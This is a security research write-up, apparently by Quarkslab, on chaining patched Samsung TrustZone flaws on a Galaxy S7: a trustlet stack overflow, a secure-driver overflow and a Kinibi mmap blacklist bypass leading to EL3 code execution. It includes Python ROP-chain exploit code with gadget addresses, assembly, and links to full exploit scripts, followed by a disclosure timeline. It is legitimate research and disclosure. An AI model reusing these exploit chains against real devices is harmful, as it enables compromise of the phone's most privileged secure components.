This third article from the Samsung's TrustZone series details some vulnerabilities that were found and how they were exploited to obtain code execution in EL3.

  • Part 1: Detailed overview of Samsung's TrustZone components

  • Part 2: Tools development for reverse-engineering and vulnerability research

  • Part 3: Vulnerability exploitation to reach code execution in EL3 on a Samsung device

Introduction

This article details different vulnerabilities affecting Secure World components in Samsung's TrustZone and how to exploit them to achieve code execution in EL3, the highest privilege on an ARM device. However, this is not a full-chain exploit and it is assumed that the attacker managed to get code execution with enough privileges to use the Normal World driver communicating with the Secure World. In practice, the attacker needs at least the privileges from the Android radio group.

The exploitation of these vulnerabilities was performed on a Samsung Galaxy S7 running a stock version of Android 8.0.0 (PDA version: G930FXXS5ESF8 [SAMMOBILE]). While this version might seem obsolete, little has changed between TrustZone versions since then and the exploitation process on a Galaxy S9 remains the same.

Revocation Issues

All the vulnerabilities detailed in this article have been patched. However, a few years ago, Gal Beniamini presented a design flaw in a blog post called Trust Issues: Exploiting TrustZone TEEs [TRUST_ISSUES] that allowed him to load older versions of trustlets that were vulnerable. In other words, if a trustlet was vulnerable and a newer version was released to patch this vulnerability, it was still possible to load the vulnerable version instead and continue to exploit the vulnerability on the device.

This can be prevented by an anti-rollback mechanism to revoke older versions of a trustlet. The issue has been addressed by Trustonic in the version 400 of Kinibi, by implementing a protection based on the MCLF Version Count field.

However, some trustlets that are supposed to be revoked on certain Samsung devices (e.g. Galaxy S7/S8/S9, etc.) can still be loaded and run in the Secure World. Comparing the Version Count field of the older and newer version of the trustlet shows that they are both equal to 0. It can be assumed that, while the revocation mechanism is available, it is not being used for all components yet. By abusing this revocation issue, an attacker can simply load an older vulnerable trustlet on the upstream version of any Samsung Galaxy device shipped with Kinibi in order to exploit the flaw and gain code execution in S-EL0.

This design flaw is leveraged in the attack described in this article to exploit vulnerable versions of trustlets and secure drivers.

Getting Code Execution in a Trusted Application

Trustlet - Vulnerability Analysis

Our journey to EL3 first starts in S-EL0, the Secure World userland, where a regular trusted application will be exploited. Using an application running in the Normal World with the necessary privileges, the memory shared between the two worlds will be used to send commands and data to the targeted trustlet.

The vulnerable trustlet used here is called, according to the log strings, SEM. Little is known about its actual use in Samsung's TrustZone, except that it performs cryptographic operations. But understanding it was not necessary to find vulnerabilities in it.

The binary for this trusted application is from an older OTA and can be downloaded here: fffffffff0000000000000000000001b.tlbin.

  • Trustlet ID: fffffffff0000000000000000000001b

  • MD5: 96b5bf2a4524328f64120538e900699a

One of the vulnerabilities identified in the trustlet during this study was a simple buffer overflow in a command handler called unwrapSEMServiceKey. This handler can be found at address 0x20D08 and is reachable using the command IDs 1 and 7. unwrapSEMServiceKey then calls parseSEMServiceKey, located at address 0x20B76, which is the vulnerable function.

The arguments passed to parseSEMServiceKey are described below and can be traced from the entry point of the trustlet:

  • First argument (R0): the TCI buffer address, as input buffer.

  • Second argument (R1): the TCI buffer address, as output buffer.

0x20B76:    PUSH.W    {R4-R8,LR}
0x20B7A:    MOV       R4, R1
0x20B7C:    SUB.W     SP, SP, #0x11C0
0x20B80:    MOV       R5, R0
0x20B82:    ADD       R7, SP, #8
0x20B84:    MOVW      R1, #0xDAC
0x20B88:    MOV       R6, R7
0x20B8A:    MOV       R0, R6
0x20B8C:    BL        bzero
0x20B90:    LDR       R0, =0x16808
0x20B92:    ADD.W     R1, R5, #8    ; R1 <- src = tci_buffer_addr+0x8
0x20B96:    LDR       R2, [R0,R5]   ; R2 <- len = *(tci_buffer_addr+0x16808)
0x20B98:    MOV       R0, R6        ; R0 <- dst = SP + 0x8
0x20B9A:    STR       R2, [SP,#0x11C0+var_11BC]
0x20B9C:    BLX       memcpy

As shown in the assembly above, the function retrieves its arguments, then calls bzero followed by memcpy. The arguments of memcpy are the following:

  • First argument (R0): the output buffer, an address from the stack.

  • Second argument (R1): the input buffer, taken from the TCI buffer, and therefore user-controlled, at the offset 0x08.

  • Third argument (R2): the buffer length, taken from the TCI buffer, and therefore user-controlled, at the offset 0x16808.

User-controlled data of user-controlled length are arbitrarily copied into the stack of the trustlet, leading to a textbook buffer overflow. The state of the stack after the call to memcpy is given below. It highlights that specifying a length greater than 0x11CC in the TCI buffer at the offset 0x16808 will lead to the corruption of the link register and, therefore, of the execution flow of the trustlet.

Trustlet vulnerable memcpy

The only software mitigations implemented in Samsung's TrustZone are canaries, which are rarely used on older Galaxy devices (S6/S7), and the eXecute Never (XN) bit. For this trustlet, only the XN bit is present, which means the stack is not executable and requires the use of Return Oriented Programming (ROP).

Now that it is theoretically possible to get code execution in S-EL0, the next objective is to pivot to a higher privileged target since S-EL0 remains pretty limited. In our case, the chosen target is a secure driver. While they also run at S-EL0, secure drivers are given more privileges by Kinibi and thus have access to more syscalls and can perform actions such as mapping physical memory, start threads, etc.

Trustlet - Exploitation

Secure World State and Memory Layout

The real difficulty lies in getting information about the state and memory layout of the trustlet since the only interfaces available to us are system logs and the TCI buffer. Forging our ROP chain and obtaining code execution requires some information about the Secure World state beforehand.

Gadgets can be found in:

  • the trustlet .text section loaded at address 0x1000;

  • the McLib loaded at address 0x7d01000.

To send and receive data, the main communication channel is the TCI buffer, which is always loaded at address 0x100000 in a trustlet.

Thanks to the lack of ASLR, these addresses do not change between executions, making it easier to write the exploit, which would otherwise require an information leak primitive.

Now, writing an exploit is only a matter of finding the right gadgets (using tools such as ropper or ROPGadget) and crafting the adequate TCI buffer.

Exploit Architecture

All the exploits presented in this blog post use our Python bindings pymcclient introduced in a previous article and are based on the same architecture.

The main function instantiates a specific interface to communicate with a trustlet, a secure driver, etc. For example, TrustletInterface is used when exploiting a trustlet and SecDriverInterface for a secure driver.

with TrustletInterface() as tl_if:
    with SecDriverInterface(tl_if) as dr_if:
        # do stuff

The same interfaces provide a method to execute code in the targeted component by exploiting the vulnerabilities described in this post. By using this method, and providing the payload they want to execute, the attacker is able to run arbitrary code in the targeted Secure World component.

with TrustletInterface() as tl_if:
    tl_if.buffer_overflow_exploit(
        # Variadic payloads
    )

Payloads are just static functions returning a list of gadgets to write in the stack frame of the targeted component. A ropchain to leak an arbitrary dword in memory is given below.

class TrustletPayload(object):

    @staticmethod
    def read_dword(address_to_leak, output_address):
        """
        Function reading a dword in memory at the address `address_to_leak`
        and writing it into `output_address`.
        """
        ropchain = []

        # Return address
        ropchain += [0x07d07661]

        # 0x07d07660 (0x07d07661): pop {r1, r2, r3, r4, r5, pc};
        ropchain += [address_to_leak - 4]
        ropchain += [0xdeadbeef]
        ropchain += [0xdeadbeef]
        ropchain += [output_address]
        ropchain += [0xdeadbeef]
        ropchain += [0x07d0940f]

        # 0x07d0940e (0x07d0940f): ldr r0, [r1, #4]; pop {pc};
        ropchain += [0x07d0244d]

        # 0x07d0244c (0x07d0244d): str r0, [r4]; pop {r4, pc};
        ropchain += [0x2079D]

        return ropchain

Most of these payloads don't specify the last value of pc in order to be able to chain payloads together. Only the last payload in the list of arguments passed to the code execution method requires it. In the case of the TrustletInterface, for example, this terminating payload is call_notify_and_wait.

@staticmethod
def call_notify_and_wait():
    """
    Notifies the Normal World with `tlApiNotify` and calls
    `tlApiWaitNotification` with the correct `timeout=0xffffffff`
    Also resets `R4` to the TCI buffer address
    """
    ropchain = []
    ropchain += [0x0001f581]

    # 0x0001f580 (0x0001f581): pop {r4, r5, r6, pc};
    ropchain += [TCI_TL_BUFFER_ADDRESS]
    ropchain += [0xffffffff]
    ropchain += [0xdeadbeef]
    ropchain += [0x207C1]

    return ropchain

Now, the previous snippets of code can be used together to leak an arbitrary dword of the exploited trustlet address space.

tl_output_length = 0x100
tl_output_offset = 0x80
tl_output_addr = TCI_BUFFER_ADDRESS + tl_output_offset
address_to_leak = 0x108c
leaked_dword = None

with TrustletInterface() as tl_if:
    print("[+] Starting the buffer overflow exploit")
    tl_if.buffer_overflow_exploit(
        RopChain.read_dword(address_to_leak, tl_output_addr),
        RopChain.call_notify_and_wait(),
    )
    print("[+] Exploit completed")

    tl_if.tci.seek(tl_output_offset)
    leaked_dword = tl_if.tci.read_dword()

print("[+] Value at 0x{:08x} = 0x{:08x}"
      .format(address_to_leak, leaked_dword))

The whole exploit can be found here: trustlet.py.

Communication Between Trustlets and Secure Drivers

Now that code execution is possible in a trustlet, the next step is to pivot to a secure driver to elevate our privileges. The first blog post in this series pointed out that the communication between a trustlet and a secure driver is made using an Inter-Process Communication (IPC) mechanism. This section details how to send data to a secure driver, in practice, using the vulnerability in the trustlet discussed above.

IPCs are a client/server model, where a trustlet is identified as a client and a secure driver as a server. Secure drivers use drApiIpcCallToIPCH to wait for IPC messages to be received. In regards to trustlets, two functions exist depending on the API level implemented:

  • tlApi_CallDriver, the older one;

  • tlApi_CallDriverEx, the newest one.

Both of these functions are used to send IPC messages to secure drivers, however they differ in their prototype.

tlApiResult_t tlApi_callDriver(uint32_t driver_ID, void* pMarParam);
tlApiResult_t tlApi_callDriverEx(uint32_t driver_ID, void* pMarParam, uint32_t payloadSize);

The new tlApi appeared during the publication of the Trustonic API level 5, and is mainly due to an internal rework of how secure drivers access data within a trustlet.

Before API level 5, a client could send a request to a driver with the tlApi_callDriver function. The secure driver would then map the entire memory of the trustlet (i.e. code, data, bss, TCI buffer) within its address space using the function drApiMapClientAndParams. This function would then translate the payload address given as argument from the trustlet address space to the driver address space.

Starting from API level 5, Trustonic chose to harden their API by introducing the tlApi_callDriverEx function, which now takes the payload length as a third parameter. This parameter can be passed to a new function called drApiMapTaskBuffer, allowing the secure driver to map only the payload buffer from the trustlet address space into its own address space.

At this point, two steps are required to be able to communicate with a secure driver.

  1. determining which function to use between tlApi_CallDriver and tlApi_CallDriver; here the trustlet was compiled for an API version above 5, while the secure driver was compiled for an API version below; in practice, it means that the attacker needs to craft its own tlApi call; it can be done fairly easily, but it's something to keep in mind when doing exploitation;

  2. crafting the IPC structure passed as the second argument of tlApi_CallDriver; the format of this structure is given below; the pointer to data can reference memory in the TCI buffer; it means that it is possible to craft this structure directly from the Normal World and construct a ropchain calling tlApi_CallDriver which references the structure stored in the TCI buffer.

typedef struct {
    uint32_t functionId;
    void*  data;
} drMarshalledParam_t;

A detailed picture of the structure can be found in the figure below.

Trustlet exploit calldriver

Now that the plan is laid out, let's continue onto the implementation. The first ropchain, created by the method call_driver given below, prepares the arguments for the tlApi handler that will effectively call tlApi_CallDriver, as well as the arguments for tlApi_CallDriver itself.

@staticmethod
def call_driver(driver_id, payload_address, retval_address, tlapi_handler):
    """
    Function calling tlApi_callDriver using directly the tlApi handler
    address. The arguments passed to the handler are:
        - R0: the ID of tlApi_callDriver, which is 0x8
        - R1: the driver ID
        - R2: a pointer to the data that will be processed by the
              secure driver
    """
    ropchain = []
    tlApi_callDriver_id = 0x8 # ID of tlApi_callDriver

    # Return address
    ropchain += [0x07d069e5]

    # 0x07d069e4 (0x07d069e5): pop {r0, r1, r2, r3, pc};
    ropchain += [tlapi_handler]
    ropchain += [0xdeadbeef]
    ropchain += [0xdeadbeef]
    ropchain += [0xdeadbeef]
    ropchain += [0x07d01013]

    # 0x07d01012 (0x07d01013): mov r12, r0; pop.w {r0-r4, lr}; bx r12;
    ropchain += [tlApi_callDriver_id]
    ropchain += [driver_id]
    ropchain += [payload_address]
    ropchain += [0x0]
    ropchain += [retval_address]
    ropchain += [0x07d0244d]

    # 0x07d0244c (0x07d0244d): str r0, [r4]; pop {r4, pc};
    ropchain += [0x2079D]

    return ropchain

The second step is to create the IPC structure that will hold the data passed to the secure driver. In the specific example given below, it will only hold an invalid command ID which will result in a log message containing the said command ID. However, the same method can be used to reach any command provided by the secure driver.

# TCI buffer address in the trustlet address space
TCI_BUFFER_ADDRESS = 0x100000

# Secure driver ID to communicate with using IPCs
dr_id = 0x40002

# Offset in the TCI buffer to store the return value of `tlApi_CallDriver`
dr_retval_offset = 0x90
# Corresponding address for the previous offset
dr_retval_addr = TCI_BUFFER_ADDRESS + dr_retval_offset

# Offset in the TCI buffer holding the IPC structure
dr_payload_offset = 0x200
# Corresponding address for the previous offset
dr_payload_addr = TCI_BUFFER_ADDRESS + dr_payload_offset

# Arbitrary value that will be written in the logs if the exploitation and
# communication with the secure driver goes as expected.
dr_command_id = 0xba0bab

# Address in the McLib of the tlApi handler
tlapi_handler = 0x7d01008

with TrustletInterface() as tl_if:
  print("[+] Setting up the payload to send to the secure driver")
  payload_chunk = [
          0xdeadbeef,
          dr_command_id,   # The value that should appear in the logs
          0x00,
          0x00,
  ]
  tl_if.tci.seek(dr_payload_offset)
  for dword in payload_chunk:
      tl_if.tci.write_dword(dword)

  print("[+] Starting the buffer overflow exploit")
  tl_if.tci.seek(0)
  tl_if.buffer_overflow_exploit(
      RopChain.call_driver(
          dr_id,
          dr_payload_addr,
          dr_retval_addr,
          tlapi_handler),
      RopChain.call_notify_and_wait()
  )
  print("[+] Exploit completed")

And the result is the following, proving the communication was successful:

Trustonic TEE: 802|VALIDATOR [WARN ]: SPID - 0xba0bab [ERROR]: Sec Driver::drACProvisioning(): disabled

The next section explains how this communication channel can be leveraged to gain code execution in a secure driver, getting us a step closer to code execution in EL3.

Getting Code Execution in a Secure Driver

Secure Driver - Vulnerability Analysis

The second stage of the exploit is to get code execution into a secure driver to perform more privileged operations. We've seen that, using code execution in a trustlet, it is possible to communicate with a secure driver using IPC. However, it is not always possible, despite being able to execute code in S-EL0. Most trustlets do not need to communicate, if at all, with every secure driver to function properly. Therefore, to reduce the attack surface, whitelists are used to prevent unauthorized trustlets from communicating with secure drivers. Thankfully for us, not all secure drivers implement this mechanism and it was then possible to reach the targeted secure driver directly from the SEM trustlet.

This secure driver seems to be called VALIDATOR and the binary used in this article can be downloaded here: ffffffffd00000000000000000000004.tlbin.

  • Driver ID: ffffffffd00000000000000000000004

  • MD5: 7d0c998f48d98eb428fcbe3e3e2bbc21

The first step when reverse engineering a secure driver is to locate the function redirecting the input to the appropriate command handlers. This is usually done by looking for the IPC handling code.

In our case, the IPC handling is done by the main thread, in the function drMain at address 0xC682. Once the address of the input buffer sent by the trustlet via IPC has been received using drApiIpcCallToIPCH, the whole trustlet address space is mapped into the address space of the driver and the input buffer address is translated, using a single call to drApiMapClientAndParams. The input data is then dispatched to the correct handler based on the command ID field of the input buffer.

The command handler discussed in the rest of this section is the 15th. As explained previously, some command handlers check that the calling trustlet is authorized to execute this function. This handler does not.

The handler starts by retrieving a pointer located at *(mapped_buffer+0x8) where mapped_buffer is the mapped input buffer. The handler then calls drApiAddrTranslateAndCheck which ensures that it points to memory from the trustlet address space and translate it to the driver address space. We will call this second buffer second_mapped_buffer in the rest of this section. At this point, if everything went as expected, the attacker-controlled buffer is mapped and referenced by the driver and ready to be used by the rest of the handler.

A full explanation of the handler being unnecessary to understand the vulnerability, only the interesting part is given in the snippet below.

0x0136C:    MOV       R2, R5        ; R2 <- len = *(second_mapped_buffer+0x200)
0x0136E:    MOV       R1, R8        ; R1 <- src = second_mapped_buffer+0x100
0x01370:    ADD       R0, SP, #0x38 ; R0 <- dst = SP + 0x38
0x01372:    BLX       memcpy

Once again, a buffer is copied into the stack and an attacker has full control over both the source and the length of the copied data. The exploitation process is similar to the one presented in the section Getting Code Execution in a Trusted Application, since the same software mitigations apply.

A representation of the stack frame of the vulnerable function is given below:

Secure driver vulnerable memcpy

The exploitation of this vulnerability allows an attacker to reach more privileged syscalls made available by Kinibi to secure drivers. In the following section, the focus will be put on the one responsible for memory management, namely mmap (or at least its equivalent in Kinibi).

Secure Driver - Exploitation

Simple Proof of Concept

The most difficult part while exploiting this vulnerability is to craft the appropriate structures and make them reference each other correctly. Other than that, it remains a classical stack-based buffer overflow exploit.

Another noteworthy detail, is the size restriction for the exploit. During the construction of the ropchain, we realized that it was not possible to craft one with more than 0x508 bytes without making the secure driver crash. We did not analyze the root cause of this limitation, but it has never been an issue and can most likely be ignored in most cases. But keep it in mind if you need to write long ropchains for this specific vulnerability.

Just to demonstrate that code execution is actually possible, let's look at a simple exploit leaking the value at the offset 0x1028 containing the ID of the secure driver.

The whole exploit can be found here: secdriver.py.

Launching it on the phone give us the following output in dmesg, with 0x40002 being the secure driver ID:

Trustonic TEE: 802|VALIDATOR [WARN ]: SPID - 0x40002 [ERROR]: Sec Driver::drACProvisioning(): disabled

Making Syscalls from the Secure Driver

At this point, it is possible to execute arbitrary code in the secure driver. The next step would be to attack Kinibi using our newfound privileges. To do so, a possible attack vector would be the syscalls provided by Kinibi. The rest of this section explains how to make a syscall from a secure driver.

Syscalls are made using the instruction SVC. There are different conventions for system calls in ARM. You can have, for instance, the syscall number stored in the register R7, the arguments in other GPRs, followed by an instruction SVC #0. However, Kinibi uses another convention. Here the syscall number is directly encoded into the instruction (e.g. SVC #2, will call the second syscall). It limits our choices in potential gadgets since some syscalls are only used by RTM which is not mapped in the address spaces of trustlets and secure drivers.

The syscall-calling payloads implemented in SecDriverPayload are:

  • mmap (SVC #0x7): maps physical secure and non-secure memory;

  • munmap (SVC #0x8): unmaps physical secure and non-secure memory;

  • smc (SVC #0x1B): makes secure monitor calls.

These syscalls can only be reached from a secure driver and will be used in the next section.

Abusing Memory Mappings to Reach S-EL1 and EL3

Kinibi - Vulnerability Analysis

Kinibi, as most operating systems does, provides system calls to applications so they can access privileged resources under its supervision. Some syscalls are only available to specific components. For instance, the Runtime Manager, or RTM, can create and start processes, however, secure drivers and trustlets cannot. These privileges are set during the creation of a new process.

Syscalls are usually the first piece of code targeted when a vulnerability allowing privilege escalation needs to be found. If the operating system does not correctly check the given arguments, it could lead to some unexpected behavior, such as unauthorised access to other components, memory corruption, etc. All of which are critical since they could allow an attacker to compromise the entire system.

In this section, the target will be Kinibi SVC handlers, and more precisely the mmap syscall. Kinibi is extracted from the sboot.bin binary using the IDA Kinibi loader plugin. The MD5 of the exploited sboot.bin binary is 0d2dffc4ec3aa2580cd2b92841ecbd22. It can be downloaded here: sboot.bin.

mmap cannot be reached by regular trusted applications, only by secure drivers. It allows mapping physical memory pages to the address space of the calling process. Under the hood, it creates page table entries and formats them to store information such as RWX rights, secure state, etc. These entries are then stored into Kinibi translation tables to be used later on.

mmap can be found at address 0x7F01DC4. The arguments passed to this system call are detailed below.

  • First argument (R0): the permissions to apply on the memory page.

  • Second argument (R1): the virtual start address of the mapped memory region.

  • Third argument (R2): the virtual end address of the mapped memory region.

  • Fourth argument (R3): the 32 lowest bits of the 64-bit physical start address.

  • Fifth argument (R4): the 32 highest bits of the 64-bit physical start address.

After reverse engineering this function, different conclusions can be drawn. First of all, any Normal World address can be mapped. This has legitimate use cases, such as watching over the rich OS to verify that no corruption occurred and thus prevent an attacker from elevating their privileges. However, reaching code execution in a secure driver could be leveraged to perform a privilege escalation in the Normal World without finding a kernel vulnerability first.

In the case of the secure memory, being able to map and change physical pages arbitrarily can easily lead to code execution in Kinibi, and then in EL3. To prevent this from happening, a verification is performed on the secure physical addresses that the calling process is trying to map. It is implemented in the function located at address 0x7F04FF2. This function is a simple wrapper around the one at address 0x7F06262 that was arbitrarily called is_physical_address_blacklisted. As its name suggests, this function takes as argument the physical address that the client is trying to map and makes sure that it is not included in a blacklist embedded inside Kinibi. This blacklist is given below.

Entry 0x00: 0x00000000 - 0x02022fff
Entry 0x01: 0x02025000 - 0x0fffffff
Entry 0x02: 0x10100000 - 0x10100fff
Entry 0x03: 0x105c0000 - 0x105c0fff
Entry 0x04: 0xf0000000 - 0xf7ffffff
Entry 0x05: 0x1000000000 - 0xffffffffffffefff

In older versions of Kinibi, it was possible to map the monitor and then directly get code execution in EL3. This was the vulnerability presented during BlackHat USA 2019 [BH2019]. The version of Kinibi that was exploited did not include this blacklist. Upstream stock versions of Android include this patch though. The secure monitor is mapped at address 0x2022000, which is included in the blacklist. However, even with this blacklist, it was still possible to map Kinibi itself, which is located at physical address 0xfe500000.

It is now possible to map and modify Kinibi to reach code execution in S-EL1. As explained in the first article of this series, there is currently no S-EL2, which means that S-EL1 has access to the entire secure memory region. Therefore, it is possible to get code execution in EL3 by modifying the code of the secure monitor from Kinibi.

Note: This vulnerability was identified as SVE-2019-16665 and patched in Samsung's Security Maintenance Release of June 2020

Kinibi - Exploitation

The exploit presented in this section is pretty basic. The idea is to simply demonstrate the ability to execute arbitrary code in EL3. To do so, we will take a SMC handler from the Secure Monitor, map its code using the vulnerability in mmap, modify it and then call it from the secure driver we control.

Bypassing the Blacklist

The main issue is that mapping the monitor is prohibited, because of the blacklist introduced in the previous section. The first step is to get rid of it by simply zeroing it out, which can be achieved using the vulnerability previously discussed.

The blacklist can be found at address 0xfe512440. The memory page 0xfe512000 can be mapped using SecDriverPayload.svc_mmap and then filled with zeroes using SecDriverPayload.memcpy. After that, the blacklist is empty and any physical memory page can be mapped using mmap.

SMC Handler Hijacking

Now that we can modify anything we want in memory, the first step is to identify which SMC handler to hijack in the sboot.bin binary given in a previous section. The one at address 0x2030524 is an adequate candidate. From our experience, changing the code of this SMC handler does not have a significant impact on the stability of the system. This SMC can be called from a secure driver using the ID 0x820000F2.

The second step is to map the code of this SMC handler using mmap and modify it by replacing its first instructions by:

MRS X0, CurrentEL
RET

Now, if this SMC is called, it will return the current Exception Level the CPU is running at. To make an SMC from the secure driver, the method SecDriverPayload.svc_smc calls the drApi function drApiSMC and passes the address of a buffer containing the arguments to pass to it. The result of the SMC is written back into the input buffer.

For example, if we want to call the SMC 0x820000F2 with the arguments 0x1234 and 0xdeadbeef, we would:

  • write these values consecutively at an offset in the TCI buffer, e.g. 0x1000;

  • pass the address 0x101000 to drApiSMC using the method svc_smc;

  • read back the result in the TCI buffer at the offset 0x1000.

In practice, running the exploit returns the value of the current EL shifted by two. Shifting it back yields the expected value:

The full exploit can be found here: teeos.py.

Conclusion

This article showed that even though Samsung's TrustZone is used to protect the system, the overall increase in security is questionable. Simple vulnerabilities can be chained together to achieve code execution in the most privileged component of Samsung's TEE. The implementation of common software mitigations would greatly limit the impact of most vulnerabilities presented in this blog post.

This was also an opportunity to highlight some of the shortcomings in current TrustZone implementations, but also in the development and verification process of secure components. Basic fuzzing methods yielded exploitable results very quickly, despite the only resource available being the secure components binaries. Vendors, which have access to the source code, to debug boards and other useful resources, could be way more effective at finding vulnerabilities.

The embedded world is playing catch-up with its desktop counterpart and still has to get up to speed. While the vulnerabilities presented in this article are now patched, we believe there are many more still in the wild.

Disclosure timeline

2019-05-10

Samsung asks for details about upcoming presentation at BlackHat Briefings 2019 Las Vegas [BH2019].

2019-05-16

Samsung asks for details again.

2019-05-17

Quarkslab replies that the talk will not disclose any new bugs.

2019-05-21

Samsung requests the slides of the talk in case they may have missed anything.

2019-05-27

Samsung asks for the slides again.

2019-05-30

Quarkslab replies that slides are not ready but will be provided prior to the talk. The list of known bugs that will be used is sent, along with corresponding technical details.

2019-05-31

Samsung acknowledges prior email and asks Quarkslab to double check information about command handler #15 in binary ffffffffd00000000000000000000004.tlbin

2019-06-11

Samsung asks for confirmation of details from prior email.

2019-07-11

Samsung asks again for confirmation asked in prior email.

2019-07-15

Quarkslab confirms that the information provided on 2019-05-30 is accurate and sends the white paper submitted to BlackHat's program committee for the talk. It is not the final version but it is sufficiently detailed and complete to understand what will be presented.

2019-07-23

Quarkslab notifies Samsung that while preparing the talk for BlackHat the presenters discovered a new vulnerability that allows to map and modify Kinibi to achieve code execution in S-EL1. This new vulnerability will not be disclosed at the BlackHat presentation.

2019-07-26

Samsung acknowledges the prior report and says it will analyze the new vulnerability, asks for clarifications about other bugs mentioned in prior emails.

2019-07-26

Quarkslab replies with details about bug in SEM TA on S6 devices and asks if a similar buffer overflow in handler #12 is also fixed.

2019-10-01

Samsung replies that command handlers #5 and #7 were fixed in S6 and S7 devices.

2019-10-08

Quarkslab confirms bugs in command handlers are fixed in current S6 and S7. Asks for the status of the mmap vulnerability reported on July 23.

2019-10-14

Samsung says it finished analyzing the vulnerability and started working with stakeholders to fix it. The bug affects several versions of Kinibi. They ask Quarkslab to withhold disclosure of the vulnerability until adequate remedy is in place "in order to reduce risk to the end consumers".

2019-10-14

Quarkslab replies that, in order to evaluate the request to withhold disclosure, more information should be provided by Samsung. Quarkslab asks for answers to the following questions:

  • What are the vulnerable models and versions?

  • What is the estimated date for the fix?

  • What is the severity rating given to the vulnerability?

  • Did Samsung assigned a CVE or other unique identifier to the vuln?

  • Does Samsung plan to publish a security advisory, bulletin or technical note disclosing the problem?

Additionally, Quarkslab says that users are currently at risk and what puts them in that situation is the existence of the vulnerability, not the availability of public information about it. The purpose of disclosing information is to inform vulnerable users so they can take appropriate measures to mitigate or avoid risk.

2019-11-01

Samsung replies that they are working with the chipset vendor on a fix but it is taking "longer than expected". The vulnerability was assigned ID SVE-2019-16030 and is rated as Critical. A CVE should be requested by Quarkslab from MITRE. A better date estimate will be provided after the patches are prepared. Patches will be made available at the Android Security updates site.

2019-11-27

Quarkslab asks for the release date planned for SVE-2019-16030 and says it is planning to publish a series of blog posts disclosing the research presented at BlackHat Briefings 2019 Las Vegas [BH2019] and would like to include fix information.

2019-12-06

Samsung says that getting patches form the chipset vendor for all Kinibi versions took more time than expected and that more regression and QA testing is needed. Asks Quarkslab to omit SVE-2019-16030 from the blog posts and says that patches will be ready in February 2020.

2019-12-09

Quarkslab internally agrees to postpone publication of the vulnerability in the blog post series.

2019-12-10

Quarkslab notifies Samsung that it agrees to postpone publication of details about the bug. It plans to publish them at the end of February 2020. That date should be considered final.

2019-12-12

Samsung acknowledges last email and thanks Quarkslab.

2020-03-02

Quarkslab asks if the patches were released, also if the vulnerability is eligible for Samsung bug bounties.

2020-03-03

Samsung says it assigned ID SVE-2019-16665 to the vulnerability. Patches for Exynos 9810 were released in February. patches for Exynos 7885 and 8895 will be released in April 2020. The bug is eligible for a bug bounty which should be filed separately at Samsung's security reporting site.

2020-03-13

Quarkslab asks Samsung to credit Quarkslab's engineers in their security bulletin.

2020-03-15

Samsung replies that it added credits to Quarkslab's engineers.

2020-06-01

Samsung published patches for the Exynos 7570 chipset.

2020-07-02

Blog post is published.


If you would like to learn more about our security audits and explore how we can help you, get in touch with us!